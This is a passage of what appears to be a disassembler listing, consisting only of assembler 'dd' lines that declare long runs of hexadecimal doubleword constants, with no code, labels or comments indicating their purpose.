103C2076h, 70D88F19h, 949AD02Ch dd 0BD84BD7Ah, 8851C048h, 1382F5AAh, 0FDF9361Ah, 2E9BC659h dd 0F1300832h, 2D73042Dh, 0C7C50E63h, 2590B369h, 295AB23Ah dd 36345D00h, 370604C1h, 91FE7C78h, 1E1AFFC4h, 7AF6AACDh dd 7F64EDB9h, 47FB9CB1h, 2FB62C87h, 20630AF4h, 0C72D7AD6h dd 7698DB1Ah, 58A45791h, 0A006DF3Dh, 8F616924h, 3F23F4AEh dd 0FF74348Ah, 0BDF21516h, 0BEFB88B8h, 0EE39F6FCh, 8CB45B4Fh dd 7083A9FEh, 39FEB19Fh, 5F0AD534h, 56E61500h, 5A79EC55h dd 0B5BA21E1h, 97856FB6h, 4748816Eh, 0D1771AA3h, 99714AD2h dd 0AFFD4D29h, 2A6F5497h, 63EC8F92h, 2089066Ch, 336480BEh dd 4933527h, 99827A29h, 0AF5C74F2h, 0ACCE31Bh, 0F35D103Ah dd 0EBF416BAh, 432126ACh, 9B39F3F2h, 0F0111568h, 21AB5D00h dd 0AC4CED20h, 808D289Ch, 0CF8E14A0h, 0C2EA223Ch, 3577F8Dh dd 0A745F06h, 0A30AAD98h, 65E11BD1h, 213E1347h, 0B9455E49h dd 0F032A696h, 52F6E923h, 6A606D81h, 65A8F4BEh, 3972671Fh dd 0D6E36138h, 49AAFFA3h, 57943B7Dh, 80AE8842h, 0A5E6518h dd 0D213D651h, 69A442E6h, 42A05773h, 91773877h, 0C2E9B933h dd 0F40011BAh, 86AA81C4h, 9F9311Dh, 52BE8147h, 36608591h dd 0E732239Ch, 80AC748Ch, 0F77EE84Eh, 6DA8A6E1h, 0E378479Bh dd 1CE2E9DEh, 0FBCD507h, 0F9BB5A2Ah, 0EC71E508h, 5444EC8Dh dd 0DAA28AF9h, 8DC0EF8Fh, 72DD911Eh, 7B9C2CA0h, 98194866h dd 6DE17BAAh, 0B98BC4E5h, 96549339h, 3DB36572h, 45578ACFh dd 1101AEB3h, 9F0D4C7Bh, 0A02449CAh, 0BA915443h, 0BDC85CD6h dd 0B64AF1A8h, 0BD91E059h, 0E20A83CCh, 17CE978Eh, 3FD77839h dd 5528995Bh, 9CDF2294h, 311858h, 54714124h, 11A2A0ABh dd 0A74A8C0Bh, 0EB0ADB66h, 92777F77h, 0B2F8E66Bh, 0B4F14FE3h dd 0F01DFFF1h, 4CADB8ABh, 0F227061Ah, 15A286F6h, 3A3E2DC1h dd 70F75CC9h, 0E977EB55h, 17D1FCBCh, 0A7BDC02Ch, 22518D5Fh dd 72B8E0DBh, 0AC9833EDh, 4B1E1D6Dh, 1537AED4h, 920439C3h dd 28A9F55Ah, 0ACC8A5F6h, 42A0B3A7h, 4EE46731h, 33FCCBCh dd 3910DE5h, 8AAF2D18h, 7E527B5Ah, 791D5C51h, 18D7D029h dd 9DCCD52h, 0C3F3A251h, 110E4BD7h, 0A4E4021Bh, 23401468h dd 914FF1CBh, 711411F7h, 0F89E227Fh, 0DDB86920h, 48373A20h dd 15FBA15Fh, 0E5427BFAh, 58C5CC27h, 57EF8482h, 18728747h dd 51C49C9Ch, 0F32AAD67h, 0A33D0CAh, 0CDF433F7h, 400E412Bh dd 0E65DFD06h, 1DD5A6D0h, 866AF041h, 6B68C084h, 3747D945h dd 0C5D74F78h, 0DCD279CAh, 0BB31A44Fh, 97219F73h, 99E7813Eh dd 0E29E87C7h, 1F62B44Eh, 18B26B57h, 92C7AD7h, 0C0FDFD41h dd 0FE061853h, 7805B6FCh, 8ED6F226h, 2F830B9Ah, 1796399Ch dd 10BE64E4h, 84115ED3h, 0A8522609h, 817956A4h, 0D6F98A5Dh dd 5B42F0FCh, 0B283325Dh, 7301183Dh, 797DC608h, 0B96AF887h dd 1D01B36Ah, 9E511DE3h, 0B532E328h, 97B6956Dh, 0E72779B6h dd 90AB1CF0h, 0F38C2AD6h, 4A36222Bh, 157B5395h, 7DD710D7h dd 2680282Ch, 552653A9h, 622E0FFh, 0AF4C0597h, 6552241Dh dd 3E184622h, 0FD396CA3h, 557F73BEh, 75E1FEE6h, 409D395Ch dd 27E8346h, 0D5E2F5Ah, 11A8D875h, 0AA026065h, 0BB592F71h dd 99228A80h, 519AAF7Fh, 4B846990h, 5399ABF0h, 323D28DBh dd 5E5B54A3h, 19AAE73Dh, 567944BDh, 5622AA8Ah, 0EA1500DFh dd 0EB936936h, 0EF1B6279h, 341E60F1h, 6BA02CE8h, 0A20077DAh dd 0EEE09503h, 78BC7447h, 0D04C5E71h, 0DC40A436h, 0B5A28FC2h dd 0D225F923h, 0C202FF2Bh, 0F8EBB52Fh, 3E3EE415h, 1F73DD0h dd 74F3CE9h, 0DB136B71h, 0E2502300h, 4DA434FBh, 0EC25B0C0h dd 7C5BDE99h, 0ABA9375Fh, 8C85DD32h, 9BBD6EDAh, 44F8753Eh dd 0D380634Ah, 0E619A3Ah, 4325164Ah, 0A5E3ACEFh, 0B29BF108h dd 2DBD20D3h, 1EF9D678h, 34F875D3h, 614977B8h, 7091FA02h dd 839C430Bh, 0F57E7BCBh, 13BBE50Ch, 0F4C03EA5h, 0D60D5972h dd 8D236965h, 0E9DC4AAAh, 0E8BBD9CFh, 0B430691Ah, 0E4853349h dd 0B92AB8ADh, 17725785h, 8B28CEB7h, 0B6CC5214h, 7F678C78h dd 0E15E2ADBh, 46C91CF3h, 469D44CCh, 73ADB79Fh, 56D9F069h dd 9B6215E3h, 9B38344Fh, 18C01CEDh, 9BDF3514h, 0B10997D1h dd 9E086A48h, 0CE59B6AAh, 8267FBDFh, 0E5DFFCC0h, 5869D823h dd 0C77939CCh, 7067EE76h, 0C41A5542h, 0A224A8F8h, 42806554h dd 500FA0C4h, 0D543F520h, 0D0006CF4h, 37021A5Bh, 0F70ADA68h dd 0CEB71705h, 471DEFA7h, 828AC336h, 3C888471h, 0DFBC0095h dd 754AC4EAh, 9453C9E1h, 147EE8A0h, 63F1F273h, 9D336C3Bh dd 6A10C065h, 0C858D01Ah, 0EF45E561h, 0D7892E51h, 7521F6Eh dd 0A420AF72h, 30DF1122h, 0F5678382h, 0E801EDC7h, 6BC77E6Dh dd 0F529DE3h, 0EFD5B336h, 0F95028CBh, 618437D3h, 4F5249CEh dd 8E4DB9CAh, 0FA239F5Eh, 8FFFDAA7h, 16FCAEE5h, 2DA04212h dd 0ECFE4966h, 0AA86F486h, 71181ECBh, 63B56E8Eh, 9D251DFCh dd 4A479D1Bh, 215A37B5h, 3BCA2F34h, 0F0C33941h, 77A8D5F9h dd 856227BAh, 9A298DB8h, 1DEA7C17h, 3F7BA1D1h, 0C6133FD3h dd 0FFA53034h, 0E92AC0E2h, 0E4C3451Ch, 2CD49115h, 0ABC89B3Ch dd 2BA10BFEh, 0D15AACABh, 93DCBACh, 384FB5D1h, 0C6946957h dd 0CCE56EA8h, 5C040DF5h, 24BC8442h, 8B2647DFh, 0D5D1738Dh dd 0AC1018FDh, 0FEEB198Fh, 0F760470Dh, 1B2E863Dh, 81258EC3h dd 3CEF8B4Ah, 0AE53EC1Bh, 93D07FFBh, 0A41E4972h, 7EC15102h dd 9D8C184Ah, 0E84C6D32h, 0ADDC0CDBh, 5587BEA5h, 5196FAD1h dd 0D47E759h, 0CCD288C1h, 6CB37142h, 54EF5542h, 49DD6AE9h dd 44196004h, 19E28AAh, 87FC6544h, 0F4E6623Bh, 0B511675Bh dd 1A55A95Bh, 22E1E1DAh, 4F28030Ch, 0A1831B22h, 8E8C2CC9h dd 49F4D298h, 0B1694ADBh, 3771BA43h, 9CCD609Ch, 2D0C8995h dd 3A1495B9h, 0E7A690D0h, 49CCE320h, 8FBD6C4Ch, 7F9403C2h dd 630D280h, 73B352B3h, 179D38C3h, 0AD78913Ch, 6E3B02EFh dd 69C87132h, 8E89963Eh, 98A27D62h, 0FAD936E2h, 48EE7D44h dd 7145492Eh, 3B7D073Ch, 1457713Dh, 94F6EC15h, 0E61CC181h dd 0CF9C8580h, 2FF6FCDDh, 5A837482h, 6E392E9Ch, 85CFC8Dh dd 767ED320h, 437AE12Bh, 85C52E21h, 0C0EC06B2h, 5522299Dh dd 0D379A380h, 5FABABA4h, 89A28C3Dh, 0F805068Ah, 0FF8421C9h dd 0DCC7848Eh, 4F03AD64h, 0C3E6E25Ah, 0A060C7DEh, 38325700h dd 1EBFA8A4h, 0DB4A0A12h, 0CEE0BE9Fh, 0B3C82A12h, 42F32C17h dd 1C0635D2h, 0AA8A7D69h, 7E7406EFh, 26B19B95h, 5F0DB80Ch dd 2F91ED54h, 165A883Ch, 882EB599h, 32838DBCh, 222D0DB4h dd 24CF87D8h, 0FB4CDA34h, 0B2F18911h, 1313C674h, 1AD8B07Eh dd 746AA230h, 0AD05E4ECh dd 0BD7C014Ah, 1E6A1C17h, 0BB7E0C10h, 55125A5Ah, 0B705FBC1h dd 7C91BEDBh, 4F2BFF1Fh, 0C1509FF0h, 0E1CAAF3Ch, 0EF18D773h dd 0C63E22Ah, 43301D54h, 0D8F06FCEh, 0B4DFD9C0h, 86CE10ADh dd 0EBAA8ADAh, 4661799Fh, 0BD0DDFD1h, 8D0CDD33h, 0F70C7FA6h dd 0CB9D6A34h, 0A1F2CE0h, 0AA2E56DCh, 883FF9Bh, 0A5FC782Fh dd 161E501Ch, 90EA60C3h, 43A776D9h, 12992279h, 3CA11E20h dd 0EC44665Fh, 0C7FF8121h, 0FA8F1810h, 2912FDCBh, 41931AE0h dd 284AF1FAh, 50635232h, 0AE63F4DAh, 8E97E580h, 0AB879DE5h dd 0A80173Ah, 93B28BA0h, 9EFF0745h, 5D590BBAh, 0C2E9382Eh dd 1F6C1B79h, 19A73C5Eh, 0BDCF259Eh, 0BEBEA594h, 8F070514h dd 22781099h, 20C9913Fh, 889889E7h, 7F79479Ch, 5290E6D1h dd 7F3F5E5Ah, 0D0ED9AB4h, 7C0724FAh, 0B499B3FAh, 5810CC69h dd 98D3CDE1h, 0B7D8A2AFh, 0E6F36526h, 466C93D3h, 0BE31AFF0h dd 7987D240h, 473DE411h, 0B4C9DDF1h, 8DF1241Dh, 0F9933BC7h dd 7FADDB15h, 56868D6h, 948B33C0h, 0E08268CFh, 3542884Fh dd 0FA4186B7h, 95DFA8DEh, 2C34F9FCh, 4FE0F66Eh, 0E478EC38h dd 1A423ED5h, 403C9B38h, 0FEF47EC7h, 13259B63h, 41200778h dd 0BA89350Dh, 46DCCC2Ch, 3528087Ch, 0B0817257h, 97FA43DFh dd 68544613h, 8ED7A9A9h, 0A3557B7Fh, 83DF662Dh, 39D2FE09h dd 30471D14h, 3E21EBF2h, 3BE89BA9h, 0CDB63324h, 0AFEBEB94h dd 21216A65h, 6D5AF897h, 38D0DADBh, 0CB567ACDh, 7F0A3902h dd 8C4D0CB8h, 6C945DD3h, 0FC9ACECEh, 26DB784Fh, 0DF3E6C2Fh dd 741C2AD4h, 0DC64C188h, 0A580074Bh, 0BDEDDAB7h, 0A57F8B56h dd 0DE5543AFh, 541D9025h, 6CE2C78Dh, 0A627FD53h, 50144811h dd 6CCA297h, 7B119180h, 15E93678h, 96A9A64Eh, 288F6E19h dd 0AB0A40h, 7E260478h, 0D048F861h, 20424836h, 402390FEh dd 4ADFC1Bh, 4C0857A9h, 7F89100Eh, 85832174h, 2BF71ECDh dd 65DE0B83h, 3165E80Fh, 0A3C43422h, 0A902C7ACh, 0FFE56221h dd 0CC329F9Eh, 9B9EDD03h, 0FF9FDEDCh, 0DEDDB422h, 55CC2A52h dd 0AFCE9B97h, 46C5D05Fh, 3E564630h, 0D5E054ACh, 2B2C61Fh dd 40C42335h, 5CF7004Bh, 3B6B8218h, 0ED834D48h, 0BBD4BB43h dd 0F597F124h, 4F61F831h, 0AB695F00h, 0C98F2139h, 4E8FCC57h dd 6D342081h, 0E2AE1B0h, 748405E3h, 0BFA3ED37h, 0B7A41B37h dd 1FFFCB75h, 0B38E80B7h, 0D19D16E5h, 0F25D8243h, 7FE46108h dd 0DD422D11h, 0A19C7C64h, 84E4AEDAh, 0A2C8C77Ah, 895CA5CFh dd 0AC73AC8Ch, 4BB47F38h, 0DEA168C3h, 27535E57h, 0A7DF3BA9h dd 2FDAEC85h, 8DFE7BFAh, 0EF0EE522h, 0CED9A6F1h, 0ABEB0E44h dd 0B251559Dh, 0C7EF0890h, 0EECB41F1h, 3E4163F5h, 1B79A09Eh dd 13E1B846h, 5C746102h, 0D20331E2h, 66D76951h, 0E8247211h dd 0E30C70D3h, 0C20FA8EBh, 0A9CBEF53h, 0DD14E232h, 26ABADD4h dd 0AAC0E15Ch, 9EC9C510h, 606FD871h, 4AD3A7BDh, 37CF223Bh dd 69EF62CDh, 0CDA516B6h, 6DD4E85Ah, 86F99484h, 71B58AAEh dd 3E1AC16Ah, 5BB4AB4Fh, 0F24E8BFh, 0BF1E4057h, 45C976BDh dd 0C4F83011h, 639DBC4Eh, 0F3E1AA49h, 0DF148018h, 704009D2h dd 4C057FB7h, 771A3244h, 8243E190h, 0B178D41h, 0A27E38DBh dd 0DF1DC6BCh, 0C56D3CB3h, 0F16BCDA0h, 0E1EAEAC4h, 0B469480Eh dd 0EFEC8D8Ah, 0B3FE2B0Dh, 4E9AE3A0h, 978868AAh, 8865C62Bh dd 0F38E71DBh, 0FF1F86C4h, 7474F783h, 6F5D715Bh, 5B419Ch dd 0F5D227A5h, 0E02B6F9Dh, 0BA4F40CBh, 40FEC0CDh, 4D3FBA56h dd 0D1C12114h, 20CBCAD9h, 8496375Fh, 0E497CE2Ah, 0DF0FEE1Eh dd 6DD12016h, 8F5F99h, 0B7FDC405h, 8476025Dh, 51FFEE7Ah dd 0F74E216Fh, 8760BDFEh, 4E4608BCh, 6DD06F47h, 0E9C0A1FBh dd 9DFD5553h, 9A7DC672h, 0EF6A9895h, 0EF6A060Ch, 0F25B3424h dd 1C5647ECh, 0DC3D282h, 0F1BA435Ah, 0C4573CAh, 5E6335EFh dd 24FC6890h, 0EBDAE3C6h, 3F6B7F47h, 98CFE1DCh, 77EB6833h dd 19E8D69Ah, 128DE6BDh, 5FBBCC39h, 86206987h, 961AC39h dd 6C747653h, 7373714Ah, 47FCC25Ah, 0F52AEBC8h, 0D510D45Ah dd 0D38821FBh, 56EDCB27h, 463823F9h, 0FB50A856h, 55A88B9Fh dd 41E0065h, 0C13F9F01h, 2AF57F25h, 513C9227h, 0BF6F316h dd 442E7E88h, 6BAD795Dh, 0C76D109h, 389640C9h, 14CD89BAh dd 0AC4829E4h, 26DA3298h, 0DC2F9766h, 50EE65BEh, 13444C64h dd 3BA4C9D9h, 20057568h, 0C374E782h, 2745B65Fh, 0F479261h dd 3CFCB13Fh, 0B327E100h, 0D1714736h, 0A80E871Dh, 459D72A1h dd 0A4EE71BDh, 7A103AC0h, 0DC21CB52h, 98226FC1h, 6EE0BFC9h dd 0C062387Fh, 3A19E641h, 0D666B36Fh, 8B71EFF2h, 0C7B252DAh dd 2E32222Ah, 655D4Ch, 7AD120C4h, 0EB547231h, 51487624h dd 66B75414h, 75BADDF2h, 6ED3FC8Fh, 0C7922951h, 0F294F8A6h dd 0AD169A7Eh, 31A88C7Eh, 2C16C503h, 0D5A2375Ch, 1B1B839h dd 6E8A8866h, 319949h, 3CC30DBBh, 78DAF8DCh, 0D2A35304h dd 280F6913h, 0B9ECB68h, 0BFC48F53h, 70783ABCh, 687737D7h dd 373D7FB4h, 46A44D00h, 9064898h, 3EF7F4CEh, 99F035B5h dd 21E42AC7h, 375C6B6Fh, 9782FFCFh, 317573FDh, 0C2CD7EACh dd 0A10D5627h, 5738D10Bh, 0F5258DEDh, 35AF59AEh, 4EF33F00h dd 0C6670FC2h, 5E817DB4h, 8EC09975h, 3108A76Fh, 0E948519Dh dd 0A22171E1h, 1CA2A641h, 2FE456B6h, 0D6735401h, 0AC5A8918h dd 0B1925947h, 8F6C5C56h, 78F99FA5h, 0CB490542h, 0DA629982h dd 1F9A8C5h, 91408FCh, 7EF9D8D4h, 0CEB589B0h, 17DB2977h dd 0E5936DCCh, 474B64E9h, 4812D990h, 5EB95445h, 27793924h dd 0EB4B281Ah, 45218DD8h, 5315A6FEh, 6650D1h, 0C9C3FA97h dd 8DFE37B0h, 77B1D775h, 2F3CB44Fh, 27D6DB54h, 9E05B0C4h dd 0A415E99Ch, 25C8AFABh, 1BEB8133h, 0B48F7953h, 8069D97Fh dd 2C9AD7ECh, 0B5CD6491h, 3A4D5956h, 0A8931FE6h, 6F3E87A7h dd 50A041C9h, 6984DC20h, 3BC6FA8Bh, 0E8CD912Ah, 0AE5C990Ch dd 1C31097Fh, 2D77D16h, 0C2B70733h, 399C1AA4h, 72D08920h dd 0DFB75EE1h, 8973BB41h, 5A98C2F2h, 43295D6Bh, 0B1595E6Ah dd 8B73F45Fh, 157C8C73h, 0E80B52BAh, 0CA734237h, 367D1E44h dd 9CE28DDBh, 3213D940h, 0D7BC8837h, 8BCB7657h, 0E96EC0E9h dd 617651FFh, 667E1D4Ch, 0FBEB062Dh, 353D70AEh, 9EC7BB13h dd 0C8C24A45h, 0A1F3236Fh, 33E655B2h, 9FD0AFC3h, 41BB1C2Dh dd 0B4F15960h, 5D7B4C26h, 9F77A524h, 14E927F4h, 5926886Bh dd 9FB9644Ch, 0FFF1C034h, 11F21619h, 1CEBA95Bh, 63962AAh dd 0FBAFE343h, 3AF3974Eh, 0A64587F2h, 0D6AA0C8Ch, 6A29306Bh dd 5F322598h, 3023FEAh, 45F15033h, 0B059AE13h, 1F3F78DFh dd 1104BA1Eh, 0ACF27A86h, 88B5637Bh, 0B990460Eh, 0C0000679h dd 0AF9FE95Eh, 90B84081h, 43EBF0F2h, 84349DEDh, 0DD13A4AEh dd 0B070FCA8h, 588A44B5h, 0C2CFC6E2h, 0B02C7D1h, 217F9DE7h dd 8290DC38h, 0D02C5600h, 0AF2F744Bh, 12BE2251h, 0C3F58BA9h dd 0A83D9081h, 84F9AF43h, 0DEE7A667h, 0F899E1DEh, 0CD7B046Ah dd 7D00EC0Ah, 61D559B8h, 87BF63DEh, 82026E1Bh, 8BAF7AFCh dd 32889780h, 0F1226642h, 6F44AA47h, 0D157D4BEh, 909FE88Bh dd 75197288h, 7B4EF329h, 0D3059617h, 51990C89h, 8502164Ch dd 0F01D8398h, 7DBF5C10h, 68AF84D7h, 39DFECD7h, 3CED48EBh dd 254A1524h, 80B4613Eh dd 0BD5BC5E3h, 40C20BDCh, 0C196547Fh, 14D08BD0h, 0DA2DD3BAh dd 9E55E36Ch, 22DD919Fh, 0EC4111B3h, 7941CF97h, 49C34115h dd 189EC68Ah, 3BDF62F8h, 9155BE6h, 0CE4D1B4Bh, 0E0B6AF88h dd 0D6FB6CAEh, 45CD4564h, 0A203CA05h, 0C36367F9h, 4F064E35h dd 0EEE934EFh, 6285966Bh, 48ECC8F5h, 2FD2623Bh, 0D833EE0Ch dd 0E049B4Bh, 0B7AF5C1Dh, 0E1434C26h, 0FD8D2AD3h, 30A20B7Ah dd 81D85BEDh, 0C8BCD2E4h, 0F39135DFh, 4280AD08h, 3301AB95h dd 0B2272FE3h, 0B006CD56h, 596C32F5h, 0A9AFE0F5h, 77272C40h dd 0CBC4D2BEh, 0C1BEE6D2h, 0C48482F7h, 0AFB4ADADh, 7F21D895h dd 10651BDh, 1B27F9A1h, 91C93B07h, 0DB8399E9h, 7331A595h dd 0BF4FF305h, 0D50F512Ah, 0D32B3289h, 8B3EE831h, 0D8A86F68h dd 0CCAE5D0Fh, 0CC0443BEh, 291F2D61h, 5DDC9252h, 1EF342Fh dd 502DC08Dh, 0A7A50412h, 4CEEB553h, 472CA09Ah, 0E75D5D1Eh dd 7BA04892h, 0F33A5436h, 8F121613h, 70605145h, 7EFE1EDCh dd 83A295C5h, 9517EB49h, 61560397h, 5CD81B41h, 7B3D94AFh dd 7FF2F154h, 0D4840199h, 0E77F564Eh, 7E0202Dh, 62D72C52h dd 0FFA50285h, 37277139h, 0B325B58Dh, 13AD4F86h, 3930B771h dd 0A0E0A7B1h, 20871A52h, 33E86C90h, 0C9C71BCEh, 0FEE26B94h dd 0F9976E44h, 0BAA2C9D7h, 30420D9Dh, 798A3B7Ah, 19D49EA1h dd 0BE8EE691h, 4C16431Bh, 0EA7A1098h, 25F6D4B1h, 8D36F216h dd 0B4AD861Fh, 3CF49836h, 6BE6A616h, 42AD1F9Ah, 298A48FBh dd 2269D381h, 0AA7CC806h, 0F8DC084Fh, 0EC71C9DDh, 0BE7F4303h dd 8169F654h, 76151977h, 0BCE11EDCh, 0EBE0B96Fh, 0E6900E8h dd 3E87FFA2h, 6F970C8Eh, 567AE6D2h, 9F4A256Eh, 0E7D74770h dd 5417899Ah, 4B45D06Bh, 0EDC754EDh, 0CC8E583Ch, 0DF685493h dd 38A76CA0h, 11021C83h, 0D20F7B19h, 0A4780192h, 63F7D163h dd 1A68E1CCh, 70304FBFh, 0AEB990BEh, 319C1FEEh, 0D4DC398Dh dd 0A581614h, 0F3876628h, 6E42A29Ah, 538ADE39h, 64DF2FAFh dd 0C09CCF32h, 0C13019F2h, 27AA448Fh, 9690C5Eh, 0A0FA9C96h dd 994CF0D8h, 674784E1h, 2AFA72F1h, 6420CAFCh, 92EF6163h dd 9DB5FB3Fh, 0B55F9AA6h, 253A9A53h, 0B197F01h, 0E3A81EB8h dd 82B3A050h, 0B127EC37h, 0DE434548h, 5B103130h, 0FC7C01Eh dd 4E7F3223h, 3C776409h, 1EB7207Fh, 822BD565h, 0D1EC6F41h dd 23508B64h, 1CAFA8EBh, 71FB8EA1h, 9C74F5F7h, 76CC7BD7h dd 20DE9E93h, 3E0E5E53h, 0FD18BD6h, 0E1D2F7D9h, 0F82A62A3h dd 30499F41h, 41E59EC8h, 8D557526h, 0F12FA116h, 6DE3328Ah dd 6EFCFEE1h, 0A4CF4E83h, 50A1C2A3h, 0DB499D4Dh, 0B416D81Bh dd 0FF06AE99h, 0C5E2A2F2h, 37FAFB85h, 2C8B8F69h, 0A80F00B0h dd 12638927h, 9A10D71Ah, 510768BEh, 5BC56760h, 37594563h dd 5BF54935h, 76E8D06Bh, 87E29FCBh, 0F44E8180h, 0D8FA3258h dd 0B5C66CBBh, 2CF17740h, 0D67F80Fh, 932B244Bh, 0DA2A2AFDh dd 79C68E7Ch, 0FA53021Ch, 17350DA6h, 30945A4Ah, 67C051C2h dd 0D15557B4h, 0B6F03DB0h, 0E0D7A14Eh, 8C1FD8E7h, 5DABA59h dd 0C8DA415Bh, 37AA09C1h, 0E20C461Fh, 9D81A44Bh, 0AA67925Bh dd 5766066Eh, 56D6D4E0h, 9AA2033h, 0DA1591BBh, 90D23C1Eh dd 6BBDCD6Ah, 0D3D8685Eh, 0ADA63398h, 6AD5363h, 4398CAF6h dd 6DDD8317h, 667FEBF3h, 81DC658Fh, 76070F56h, 6A7A64B0h dd 0BA52C119h, 629DD1C7h, 6F32410Fh, 8F96DB8Eh, 0B5660DDBh dd 1FA13DD2h, 0B0464FCFh, 0C4FDAB87h, 3E183E33h, 8F8DB3E1h dd 0D86E0828h, 2CE937h, 1446E31Dh, 91FD939Dh, 67C8271Bh dd 47BEF1BEh, 126FC5FBh, 1CC14C26h, 3C0F6BA6h, 8C0FEB69h dd 1EE65216h, 0B1B16E7Ch, 9C6CA2C3h, 78EF08A9h, 1ACA323Bh dd 6DFA709Bh, 66AC31E4h, 0ED2D38C7h, 0AE9CAE38h, 957B37CCh dd 0D46A9283h, 48724DD5h, 9DB965F4h, 8D5129BBh, 0CE47E9F3h dd 0ECA8AB4Eh, 85B545F2h, 504835EFh, 0E4127AD7h, 1E5684A1h dd 76A678B3h, 17F0EF3Bh, 327836F0h, 0E68D4D2Ch, 0DAC16E90h dd 0E923A7FFh, 3E753A6Bh, 3E133ED9h, 0A913B5BAh, 9A16134Ah dd 1BB7224Ah, 0A86347Eh, 6A4F9327h, 0E1FC02F6h, 0A69EF1Bh dd 82155D95h, 0C62FF7FCh, 0EFC8F7ADh, 1DB1E568h, 0E4B7AF94h dd 0EC4B7A86h, 5FA9055Fh, 0D084BB76h, 56702A1h, 35D19B74h dd 9DDE9EE6h, 496B58DEh, 85D1257Eh, 24698360h, 136DFE58h dd 0C63D7A55h, 0A0E80D63h, 0C3988652h, 0EADC8181h, 93FA0A99h dd 566BFF49h, 0FCF91E93h, 6AF5565Ch, 1217F6FDh, 0D8E5E34Fh dd 5CCA8A4Ch, 0EDC2B6B6h, 96D86EBCh, 2B588607h, 14A3FA68h dd 41AB8F6Ah, 0D8EF0645h, 4AB823DCh, 0B35D90A3h, 0E78B344h dd 1DB230B1h, 0FBA5ACA6h, 384ABBF4h, 0ADD766A4h, 8183F11Dh dd 429591C1h, 0D96631F0h, 8D308419h, 0CA8D9067h, 0B745A4ADh dd 0EDBFE7D5h, 1006584h, 0AB6DD735h, 0DDFC9DB1h, 0D312EFF1h dd 0E3CFC6FBh, 0BD34FE0Bh, 81C63Eh, 5F796ACBh, 9B3FFCEEh dd 8127C282h, 9C9931B1h, 1EFDAF67h, 9F3E81A2h, 0C398C952h dd 0E6061C87h, 9AB8073Dh, 84DC99EEh, 0F2670EAh, 401A482Fh dd 0F25AD6B1h, 1539C669h, 25EF0A04h, 0E39A0DA0h, 0E272F085h dd 42033755h, 90BB820Ch, 1D8E0953h, 304B19F6h, 0F4F29AEFh dd 23E29AD2h, 4F6599Dh, 6DAE34CFh, 615B014Ch, 9FFD4AF5h dd 0DBFD1DEFh, 0FDDC2873h, 3D1FB567h, 35DAA35h, 44D1A25Ch dd 0B138093Eh, 66BEB915h, 0B8A3E3ACh, 51274627h, 3A2D6D33h dd 0D574D3F9h, 781798C8h, 27C9BC59h, 9C37F605h, 0C131AD4Ch dd 0C235F0ACh, 0B0AE1CAEh, 58C44431h, 0F615417h, 0A390376Fh dd 0E06E6030h, 0DA6F4B43h, 2F365E24h, 9848086Ch, 0DBD0DEA9h dd 5C23E080h, 1D2A2CD3h, 11360749h, 6468347Bh, 1AC6A5D4h dd 0DCF2FCCEh, 0D343AD2Bh, 0EA7A0080h, 83A8C192h, 2256F3E5h dd 9936A320h, 3D4ED4C0h, 0E0445219h, 0C99A44D2h, 99D141C1h dd 0E776203Bh, 0B8DFD1D9h, 379FBBEDh, 0C75B5CF3h, 0FAC9CE4Ch dd 468F2AD6h, 317441CAh, 9BFACDCCh, 6C3261ABh, 0D2C92A45h dd 0F9A9427Eh, 8F25B62Bh, 0B57AADA6h, 1662704Bh, 0BE25D8AFh dd 32EF5023h, 93B68327h, 0F1D8772Bh, 0AE6BD5CFh, 998FDDD8h dd 2AD9D761h, 0EBA3D95h, 0BEB132D4h, 0E6354E2h, 8D79390Eh dd 6023139Bh, 8C953565h, 67EDA70Dh, 0B7F1EEFAh, 0D35D3B4Dh dd 0DAE3FB0Ah, 9B1BF50Ch, 0F44F12CFh, 0C39028BCh, 499E4243h dd 3374BDC2h, 5B4A2079h, 142518AFh, 0CE531D3Eh, 0BC55A654h dd 0D6D349E7h, 0C441C330h, 0FFC01EFBh, 4281A756h, 0EC836BDDh dd 0B70BF23Fh, 52575E19h, 8B7BCB40h, 0C430D0C3h, 1C0703E9h dd 17AF66C7h, 5980C935h, 8CBC2D82h, 0B80152C7h, 0F9B5B933h dd 713C0DB0h, 0A2936E12h, 0F85A1A5Dh, 7D18816Bh, 5B541028h dd 0BAB0AC73h, 13CEDE02h, 0B6EA6B5Ah, 0C1550439h, 98E2921Dh dd 2C690ACBh, 0F4030B33h, 0F9A89BC3h, 1C28921Ah, 342A4A41h dd 57691AFCh, 0D59D6453h, 0D949DF40h, 60EC45A4h, 7DB72B45h dd 79D7735Bh, 850E1A64h, 58460A5Bh, 2E1F1659h, 96A1F9E8h dd 0D6096021h, 57E5C327h, 8C1545ACh, 966D8D5h, 55D1DB16h dd 40D4C245h, 4C2236E4h, 5347F861h, 61CE616Ah, 2F6EF28Ah dd 4FACD28Ch, 65B24457h, 40A9FB1h, 0FED50DBDh, 4F954089h dd 8784E94h, 4B103F11h, 70FA61E3h, 4524F75Fh, 4A66E64h dd 2A885FD8h, 86C6D115h dd 14D4E43Bh, 0CAE104CFh, 41640A3Eh, 7F55C666h, 2C246250h dd 94158F88h, 8118751h, 0F7637AD7h, 0C89083E3h, 80103C12h dd 32CDAB65h, 0F187B053h, 44277BF0h, 3F6A7DCAh, 0FE8EBAECh dd 0CC901D3Ah, 4FC9F1B5h, 2DCADBF3h, 941A1DCBh, 98E05BC4h dd 76D49B0Ch, 71B21575h, 84C43FBFh, 0D15FC1AEh, 87F491D6h dd 0A1F1C7A5h, 73EF1F5h, 94D7D128h, 5FE23DC8h, 3E34B086h dd 1B89AFD3h, 0ACD170CCh, 0C3B9B8E3h, 0F60BB7DBh, 1DE8670h dd 0D31E3437h, 7A36BBAFh, 0DBA90764h, 0C0BC8528h, 0FEDB79F4h dd 0ACBC6DE0h, 0FA3E28E4h, 8324E55Ch, 534469FAh, 0ACBC6A74h dd 9BE855FFh, 3BEF224Fh, 94018357h, 413EFD14h, 67D1F9D0h dd 0A871F3E7h, 16A0CEB2h, 35D97E62h, 47AB8891h, 1FDCD5F1h dd 19CEA708h, 0B93BD83Eh, 0F99B3BB2h, 982C983h, 65196846h dd 0CF870CF8h, 3CE92A8Ch, 9BC3BC8Fh, 3A9B2C0Ch, 0BB63BCEEh dd 771274A0h, 0D26F5CADh, 0DB48F95Ah, 46E6F591h, 0CB1FDFFCh dd 48481B1Eh, 0E409AA56h, 41454E7Ch, 677A2850h, 5DAEB519h dd 179D21B3h, 0BAA30E8Fh, 7CF590DDh, 4B50DB33h, 0AB054C2h dd 4AA596ECh, 0C63BFBC9h, 0D4954F8h, 427AEBD0h, 2DF27A28h dd 0F30E56F2h, 0E73FBAEh, 0DF3DF498h, 77BA966Bh, 0E65DE66Bh dd 